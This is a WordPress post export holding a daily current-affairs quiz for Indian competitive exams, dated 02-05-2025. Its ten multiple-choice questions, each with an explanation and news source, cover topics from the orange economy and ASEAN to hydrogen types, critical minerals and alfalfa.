{"id":2040,"date":"2025-05-06T13:38:52","date_gmt":"2025-05-06T13:38:52","guid":{"rendered":"https:\/\/iasquest.com\/?p=2040"},"modified":"2026-02-11T18:58:12","modified_gmt":"2026-02-11T18:58:12","slug":"daily-current-affairs-02-05-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-02-05-2025\/","title":{"rendered":"Daily Current Affairs \u2013 02-05-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. \u2018Orange Economy\u2019 recently seen in news refers to economy deals with<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">(a) Technology and digitalization<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">(b) Sustainable use of ocean resources<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">(c) Creative assets<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">(d) Aging population\u2019s needs and aspirations<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>Explanation: Option C<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\"><strong>News<\/strong><strong>: Emphasizing on Orange Economy by PM Modi while addressing the World Audio Visual Entertainment Summit 2025<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">The<strong> \u2018orange economy\u2019,<\/strong> also known as the <strong>creative economy<\/strong>, refers to<strong><em> economic activities that leverage creativity, culture, and intellectual property to generate wealth and jobs.<\/em><\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-9\">\n<li><strong>Blue Economy<\/strong>: sustainable marine and freshwater management, including fisheries, aquaculture, and water-based tourism, ensuring ecosystem health and economic viability;<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-10\">\n<li><strong>Gold Economy<\/strong>: technology and digitalization, activities leading high-tech innovation such as digital finance, advanced technologies, and premium digital services;<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-11\">\n<li><strong>Green Economy: <\/strong>with a focus on the Circular Economy: sustainability, renewable energy, green manufacturing, and eco-friendly practices aimed at minimizing environmental footprints and optimizing the use of resources<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-12\">\n<li><strong>Orange Economy:<\/strong> cultural and creative industries, encompassing arts, entertainment, fashion, design, architecture, advertising, software, publishing, and research and development;<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-13\">\n<li><strong>Silver Economy: <\/strong>targets the aging population\u2019s needs and aspirations, focusing on entrepreneurship, older workers, retirement planning, and age-friendly products and services;<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li><strong>White Economy:<\/strong> health and social care sectors, critical for societal well-being and in facing challenges like resilience in a poly-crisis context;<\/li>\n<\/ul>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-15\">\n<li><strong>Yellow Economy:<\/strong> new development models and opportunities in the desert, such as desert tourism, use of renewable energies, sustainable agriculture and enterprise Development.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/pm-modi-at-waves-says-right-time-for-create-in-india-create-for-world\/article69519204.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/pm-modi-at-waves-says-right-time-for-create-in-india-create-for-world\/article69519204.ece<\/strong><\/a><strong>&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>2. The Species \u201cRed Admiral, Malabar Flash, Monarch\u201d are<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\">(a) Reptiles<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\">(b) Insects<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">(c) Birds<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\">(d) Mammals<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>Explanation: Option B<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>News<\/strong><strong>: Red Admiral butterfly seen for first time in Himachal<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXf90dgoRWIyC57Izo4nmng3o1cugIGmxse_h8PzbtquLeuOJmcHrGAF8yO2OYlWhwPp1PKPr33DgDBbG0n1IlRo-JTEEEMOLZJm9wHE24FmwSeqfvZ6xkw70Yrt6ntbW1Pxm1h_kw?key=tXY64aT4cL4YYv3WZ06FWCbh\" alt=\"\"\/><\/figure>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-23\">\n<li>In a remarkable first for <strong>India\u2019s lepidopteran records,<\/strong> the <strong><em>European Red Admiral (Vanessa atalanta)<\/em><\/strong>, a widely distributed migratory butterfly species, has been sighted and documented <strong>in Himachal Pradesh<\/strong>.&nbsp;<\/li>\n\n\n\n<li>The species was observed near <strong>Dharamshala in the Dhauladhar mountain range.<\/strong><\/li>\n\n\n\n<li>A single specimen was recorded at<strong> Thatharna Hill, <\/strong>at an elevation of<strong> 2,500 metres.<\/strong><\/li>\n\n\n\n<li>Monarch butterflies, known for migrating thousands of miles (km) across North America, have experienced a decades-long U.S. population decline due to habitat loss.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>3. Consider the following statements regarding PRivate Members Bill:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-25\">\n<li>Private Member\u2019s Bills are a mechanism through which Members of Parliament (MP), who are not Ministers, can propose their own legislation.<\/li>\n\n\n\n<li>Its introduction in the parliament requires one month&#8217;s notice.<\/li>\n\n\n\n<li>Since Independence, only 14 Private Bills have been passed and received presidential assent and none has cleared both Houses since 1970.<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>Select the correct answer using code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>Explanation: Option C<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>News<\/strong><strong>: Reviving a far-sighted but forgotten Bill mechanism<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-33\">\n<li>Since Independence, <strong>only 14 PMBs <\/strong>have been passed and received presidential assent and none has cleared both Houses since 1970. In the <strong><em>17th Lok Sabha (2019-24), 729 PMBs were introduced in the Lok Sabha and 705 in the Rajya Sabha.&nbsp;<\/em><\/strong><\/li>\n\n\n\n<li>However, only two in the Lok Sabha and 14 in the Rajya Sabha were ever discussed.<\/li>\n\n\n\n<li>In 2019, Supriya Sule (NCP) introduced the Right to Disconnect Bill in the Lok Sabha, which <strong><em>aimed to give employees the legal right to not engage in work-related communication after office hours.<\/em><\/strong> Though not passed, it sparked national debate on work-life balance and mental health.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXeihU0enI9x7qffdwZ8Dn0z2RjTQgFHK_JKM24ZlBmTPNKJrb2GUahNmeOVU1Wr7hb6fF0aVbFSTObB5GxjOJ-5sBEz32_hXm4EGfmjW9hTYcI3qEpJiFgn-mJztTZbcS_E5i0-?key=tXY64aT4cL4YYv3WZ06FWCbh\" alt=\"\"\/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>4. Which of the following statement(s) is\/are correct with respect to ASEAN Grouping?<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-35\">\n<li>It is a regional group of ten countries that promotes economic, political, and security cooperation.<\/li>\n\n\n\n<li>India, Indonesia, Malaysia, Philippines, Singapore are the founding members of ASEAN.<\/li>\n\n\n\n<li>The Chiang Mai Initiative (CMI) is the first regional currency swap arrangement launched by the ASEAN+3 countries.<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong>Select the correct answer using code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>Explanation: Option B<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-42\">\n<li>The Association of Southeast Asian Nations is a regional organization which was established<strong><em> to promote political and social stability amid rising tensions among the Asia-Pacific\u2019s post-colonial states.<\/em><\/strong> The motto of ASEAN is \u201cOne Vision, One Identity, One Community\u201d.<\/li>\n\n\n\n<li>It was established in 1967 in Bangkok with the signing of the <strong>ASEAN Declaration or Bangkok Declaration.<\/strong><\/li>\n\n\n\n<li>ASEAN Secretariat: Jakarta, Indonesia.<\/li>\n\n\n\n<li><strong>Indonesia, Malaysia, Philippines, Singapore, and Thailand<\/strong> are the founding members of ASEAN.<\/li>\n\n\n\n<li>It has ten member countries. Other members are Myanmar, Laos, Cambodia, Vietnam, and Brunei.<\/li>\n\n\n\n<li>In 2022, ASEAN agreed in-principle to admit <strong>Timor-Leste as the 11th member of ASEAN,<\/strong> and adopted a roadmap for Timor-Leste&#8217;s full membership.<\/li>\n\n\n\n<li>India is <strong>not a member of ASEAN<\/strong>.<\/li>\n\n\n\n<li>The <strong>Chiang Mai Initiative (CMI) <\/strong>is the first regional currency swap arrangement launched by the <strong>ASEAN+3 countries (ASEAN+3 (ASEAN, China, Japan, and South Korea))<\/strong> in May 2000 at an annual meeting of the <strong>Asian Development Bank to address the short-term liquidity<\/strong> difficulties in the region and to supplement the existing international financial arrangements.&nbsp;<\/li>\n\n\n\n<li>CMI is composed of: (a) the ASEAN Swap Arrangement (ASA) among ASEAN countries, and (b) a network of bilateral swap arrangements (BSAs) among the ASEAN+3 countries.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh7-rt.googleusercontent.com\/docsz\/AD_4nXc9jC9gkgtnsCYysefr501HeMv7DbmDkUEOd-6Ir3W9q8-GiPntuEBLrZDDbIt1c8p4vybcAPH2iGCEXbB5WQs4M2wE48IuGfn9kFWWmj5iGbRjuGQntEifUToYkf4st2vynJCI?key=tXY64aT4cL4YYv3WZ06FWCbh\" alt=\"\"\/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/asean.org\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/asean.org\/<\/strong><\/a><strong> <\/strong><a href=\"https:\/\/www.thehindu.com\/opinion\/op-ed\/chinas-strategic-push-asia-ties-amid-tariff-tensions\/article69522335.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/opinion\/op-ed\/chinas-strategic-push-asia-ties-amid-tariff-tensions\/article69522335.ece<\/strong><\/a><strong>&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>5. Consider the following statements:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-44\">\n<li>Blue Hydrogen is produced by splitting water by electrolysis<\/li>\n\n\n\n<li>Green Hydrogen is when natural gas is split into Hydrogen and CO2, but the CO2 is captured and then stored.<\/li>\n\n\n\n<li>Brown Hydrogen is hydrogen produced from coal or lignite (brown coal) through a process called gasification.<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><strong>Which of the above Statement(s) is\/are incorrect?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>Explanation: Option B<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>News<\/strong><strong>: How can India tap its natural hydrogen potential?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\"><strong><em>Green Hydrogen:<\/em><\/strong><strong> <\/strong>Green Hydrogen is Hydrogen <strong>produced by splitting water by electrolysis. <\/strong>This produces <strong>only Hydrogen and Oxygen<\/strong>. We can use Hydrogen and vent the Oxygen to the atmosphere with no negative impact. It is called green because there is <strong>no CO2 emission during the production process.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\"><strong><em>Blue Hydrogen<\/em><\/strong><strong>:<\/strong><strong> <\/strong>Blue Hydrogen is when natural gas is split into Hydrogen and CO2, but the <strong>CO2 is captured and then stored<\/strong>. As the greenhouse gasses are captured, this mitigates the environmental impacts on the planet.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>Grey Hydrogen:<\/strong> It is a similar process to Blue Hydrogen as natural gas is split into Hydrogen and CO2,, but the <strong>CO2 is not being captured and is released into the atmosphere.<\/strong>&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong><em>Black\/Brown Hydrogen:<\/em><\/strong> Brown Hydrogen is made from brown coal and Black Hydrogen is made from black coal are produced via gasification. It is a polluting process and CO2 and Carbon Monoxide are produced as by-products and released to the atmosphere.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/business\/Industry\/how-can-india-tap-its-natural-hydrogen-potential-explained\/article69522721.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/business\/Industry\/how-can-india-tap-its-natural-hydrogen-potential-explained\/article69522721.ece<\/strong><\/a><strong>&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>6. Consider the following statements:<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-57\">\n<li>This is the first tunnel built by using a tunnel boring machine (TBM especially used in Hard rocks) in the Himalayan terrain.<\/li>\n\n\n\n<li>The rail link is a 125.20 km long, single-line broad-gauge railway project.<\/li>\n\n\n\n<li>The project will connect five districts of Jammu &amp; Kashmir.<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>Which of the above Statement(s) is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\">(d) All the above<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>Explanation: Option A<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\"><strong>News<\/strong><strong>: At 14.57 km, it\u2019s a Himalayan task as India\u2019s longest rail tunnel races to the finish line<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-65\">\n<li><strong>Tunnel T8 on the Rishikesh-Karnaprayag Rail Project<\/strong> is being constructed using a <strong>Tunnel Boring Machine (TBM)<\/strong> in the Himalayan region.<\/li>\n\n\n\n<li><strong>Janasu tunnel on the Rishikesh-Karnaprayag line<\/strong> marked a major milestone towards what is called to be the <strong>longest transport tunnel in India.<\/strong>.<\/li>\n\n\n\n<li>The<strong> 14.58 km long tunnel no. 8 or the Janasu tunnel, falls on the Devprayag to Janasu stretch of the Rishikesh-Karnaprayag line.<\/strong><\/li>\n\n\n\n<li>The longest road tunnel is the<strong> Atal tunnel (9.02 km long) on the Manali-Leh highway.&nbsp;<\/strong><\/li>\n\n\n\n<li>Approximately 104 km or 83% of the route passes through tunnels due to the mountainous terrain.<\/li>\n\n\n\n<li>The project will connect five districts in <strong>Uttarakhand<\/strong> such as Dehradun, Tehri Garhwal, Pauri Garhwal, Rudraprayag, and Chamoli.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/long-reads\/himalayan-uttarakhand-india-longest-rail-tunnel-9977990\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/long-reads\/himalayan-uttarakhand-india-longest-rail-tunnel-9977990\/<\/strong><\/a><strong>&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\"><strong>7. Which of the following falls under Critical Minerals of India?<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-67\">\n<li>Copper<\/li>\n\n\n\n<li>Lithium\u00a0<\/li>\n\n\n\n<li>Nickel<\/li>\n\n\n\n<li>Cobalt\u00a0<\/li>\n\n\n\n<li>Graphite<\/li>\n\n\n\n<li>Titanium<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>Select the correct answer using code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\">(a) 1,2,3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\">(b) 1,2,3,4,5 and 6<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\">(c) 1,3,4,5 and 6<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\">(d) 2,3,5 and 6<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\"><strong>Explanation: Option B<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>News:&nbsp;<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-75\">\n<li>Critical minerals are minerals which are <strong><em>essential for economic development and national security of any country.&nbsp;<\/em><\/strong><\/li>\n\n\n\n<li>The lack of availability or concentration of existence, extraction or processing of these minerals in few geographical locations may lead to supply chain vulnerability and disruption.<\/li>\n\n\n\n<li>Critical minerals such as copper, lithium, nickel, cobalt and rare earth elements are essential components of many of today\u2019s rapidly growing energy technologies.<\/li>\n\n\n\n<li>Government has released a list of <strong>30 critical minerals for India. <\/strong>&nbsp;These minerals are <strong><em>Antimony, Beryllium, Bismuth, Cobalt, Copper, Gallium, Germanium, Graphite, Hafnium, Indium, Lithium, Molybdenum, Niobium, Nickel, PGE, Phosphorous, Potash, REE,Rhenium, Silicon, Strontium, Tantalum, Tellurium, Tin, Titanium, Tungsten, Vanadium,Zirconium, Selenium and Cadmium.<\/em><\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>Source: <\/em><\/strong><a href=\"https:\/\/www.thehindu.com\/business\/what-are-ukraines-critical-minerals-and-what-do-we-know-about-the-deal-with-us\/article69521157.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/business\/what-are-ukraines-critical-minerals-and-what-do-we-know-about-the-deal-with-us\/article69521157.ece<\/strong><\/a><strong>&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>8. Consider the following pairs:\u00a0<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td>Basel Convention<\/td><td>Prior Informed Consent Procedure for certain hazardous Chemicals and Pesticides in international trade<\/td><\/tr><tr><td>Rotterdam Convention<\/td><td>Control of Transboundary Movements of Hazardous Wastes and their Disposal<\/td><\/tr><tr><td>Stockholm Convention<\/td><td>Persistent Organic Pollutants is a global treaty to protect human health&nbsp;<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\"><strong>How many of the above pair(s) is\/are correctly matched?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\">(b) One two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\">(c) All the pairs<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\"><strong>Explanation: Option A<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-83\">\n<li>The <strong><em>Basel Convention on the Control of Transboundary Movements of Hazardous Wastes and their Disposal <\/em><\/strong>was created to protect people and the environment from the negative effects of the inappropriate management of hazardous wastes worldwide.&nbsp;<\/li>\n\n\n\n<li>It is the most comprehensive global treaty dealing with hazardous waste materials throughout their lifecycles, from production and transport to final use and disposal.<\/li>\n\n\n\n<li>The <strong><em>Rotterdam Convention on the Prior Informed Consent Procedure for certain hazardous Chemicals and Pesticides in international trade<\/em><\/strong> provides Parties with a first line of defence against hazardous chemicals.&nbsp;<\/li>\n\n\n\n<li>It promotes international efforts to protect human health and the environment as well as enabling countries to decide if they want to import hazardous chemicals and pesticides listed in the Convention.<\/li>\n\n\n\n<li>The <strong><em>Stockholm Convention on Persistent Organic Pollutants<\/em><\/strong> is a global treaty to protect human health and the environment from highly dangerous, long-lasting chemicals by restricting and ultimately eliminating their production, use, trade, release and storage.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/pib.gov.in\/PressReleasePage.aspx?PRID=2125922\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/pib.gov.in\/PressReleasePage.aspx?PRID=2125922<\/strong><\/a><strong>&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>9. Consider the following pairs:\u00a0<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td>Major Dhyan Chand Khel Ratna Award<\/td><td>Given for the spectacular and most outstanding performance in the field of sports by a sportsperson over the period of the previous four years.<\/td><\/tr><tr><td>Arjuna Award<\/td><td>Good performance over a period of the previous four years and for showing qualities of leadership, sportsmanship and a sense of discipline.<\/td><\/tr><tr><td>Dronacharya Award<\/td><td>Given to coaches for doing outstanding and meritorious work on a consistent basis and for enabling sportspersons to excel in International events.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\"><strong>How many of the above pair(s) is\/are incorrectly matched?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\">(a) Only One<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><strong>Explanation: D<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-91\">\n<li><strong>\u2018Major Dhyan Chand Khel Ratna Award\u2019<\/strong> is given for the spectacular and most outstanding performance in the field of sports by a sportsperson over the period of the previous four years.<\/li>\n\n\n\n<li><strong>\u2018Arjuna Award for outstanding performance in Sports and Games<\/strong>\u2019 is given for good performance over a period of the previous four years and for showing qualities of leadership, sportsmanship and a sense of discipline.<\/li>\n\n\n\n<li><strong>Arjuna Award (Lifetime)<\/strong> is given to honour and motivate those sportspersons who have contributed to sports by their performance and continue to contribute to promotion of sports even after their retirement from active sporting career.<\/li>\n\n\n\n<li><strong>\u2018Dronacharya Award for outstanding coaches in Sports and Games<\/strong>\u2019 is given to coaches for doing outstanding and meritorious work on a consistent basis and for enabling sportspersons to excel in International events.<\/li>\n\n\n\n<li>The overall top performing university in Khelo India University Games is given the <strong>Maulana Abul Kalam Azad (MAKA) Trophy.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/pib.gov.in\/PressReleasePage.aspx?PRID=2089557\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/pib.gov.in\/PressReleasePage.aspx?PRID=2089557<\/strong><\/a><strong>&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><strong>10. Which of the following countries is the largest producer of alfalfa seeds?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\">(a) India<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\">(b) U.S<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\">(c) Saudi Arabia<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\">(d) China<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\"><strong>Explanation: Option B<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\"><strong>News: <\/strong>With the US pushing India to reduce import duty on alfalfa (lucerne) fodder seed, the government is preparing the ground for restricting the genetically modified (GM) version of the crop from entering the country.<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-99\">\n<li>Alfalfa, also called lucerne, is a perennial flowering plant in the legume family Fabaceae. Alfalfa derives its name from the Arabic word al-fasfasa that means the best forage.<\/li>\n\n\n\n<li>The US is the world\u2019s largest alfalfa producer. U.S grow both GM and non-GM varieties of alfalfa.<\/li>\n\n\n\n<li>In India, Gujarat, Madhya Pradesh, Maharashtra, and Rajasthan are major Alfalfa producing states.<\/li>\n\n\n\n<li>The optimum temperature for growth is about 25\u00b0C and growth decreases sharply when temperatures are above 30\u00b0C and below l0\u00b0C.<\/li>\n\n\n\n<li>Soil: Can be sown in spring or fall, and does best on well-drained soils with a neutral pH of 6.8\u20137.5. It requires sustained levels of potassium and phosphorus to grow well.<\/li>\n\n\n\n<li>It is moderately sensitive to salt levels in the soil.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindubusinessline.com\/economy\/agri-business\/india-prepares-ground-to-curb-gm-alfalfa-seed-import-as-us-seeks-market-access\/article69501876.ece\" 